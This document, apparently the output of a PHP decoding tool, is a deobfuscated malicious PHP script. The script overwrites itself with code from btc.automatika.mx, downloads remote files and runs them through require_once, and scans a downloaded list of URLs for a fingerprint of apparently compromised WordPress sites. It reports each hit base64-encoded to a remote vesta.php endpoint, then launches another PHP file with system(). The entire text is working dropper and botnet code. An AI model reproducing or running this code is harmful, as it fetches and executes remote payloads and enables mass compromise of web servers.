PHP Decode

<?php 
ini_set('max_execution_time',0); 
ini_set('memory_limit', '512M'); 
date_default_timezone_set('Europe/Kiev'); 
function http_get_contents($url) { 
//	$codex = @file_get_contents($url); 
//	if (empty($codex)) { 
		$ch = curl_init(); 
		curl_setopt($ch, CURLOPT_URL, $url); 
//		curl_setopt($ch, CURLOPT_HEADER, true); 
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); 
		curl_setopt($ch, CURLOPT_TIMEOUT, 30); 
		$urlPage = curl_exec($ch); 
		curl_close($ch); 
		return($urlPage); 
//	} 
//	else { 
//		return $codex; 
//	} 
} 
file_put_contents(basename(__FILE__),http_get_contents('http://btc.automatika.mx/st/get_wp-commentin.txt')); 
file_put_contents('list.txt',http_get_contents('http://btc.automatika.mx/st/list.txt')); 
file_put_contents('roll.txt',http_get_contents('http://btc.automatika.mx/st/roll.txt')); 
file_put_contents('angry.txt',http_get_contents('http://btc.automatika.mx/st/angry.txt')); 
require_once('roll.txt'); 
require_once('angry.txt'); 
file_put_contents('get_wp-commentin.txt', http_get_contents('http://btc.automatika.mx/get_wp-commentin.php')); 
function callback_function($response, $info, $request) { 
	if (preg_match('~(background-color:whitesmoke;border:1px solid #FFF;outline:none;)~i', $response, $out)) { 
		http_get_contents('http://btc.automatika.mx/vesta.php?we='.base64_encode($info['url']).'&fe='.base64_encode('inc.class.wp-commentin.php'));goto end; 
	} 
	end: 
	return; 
} 
$AC = new AngryCurl('callback_function'); 
//$AC->init_console(); 
$AC->load_useragent_list('list.txt'); 
$f = fopen('get_wp-commentin.txt', 'r'); 
while(!feof($f)) { 
	$url = trim(fgets($f)); 
	$AC->get($url); 
} 
$AC->execute(50); 
unlink('get_wp-commentin.txt'); 
system('php inc.class.wp-commentin.php'); 
?>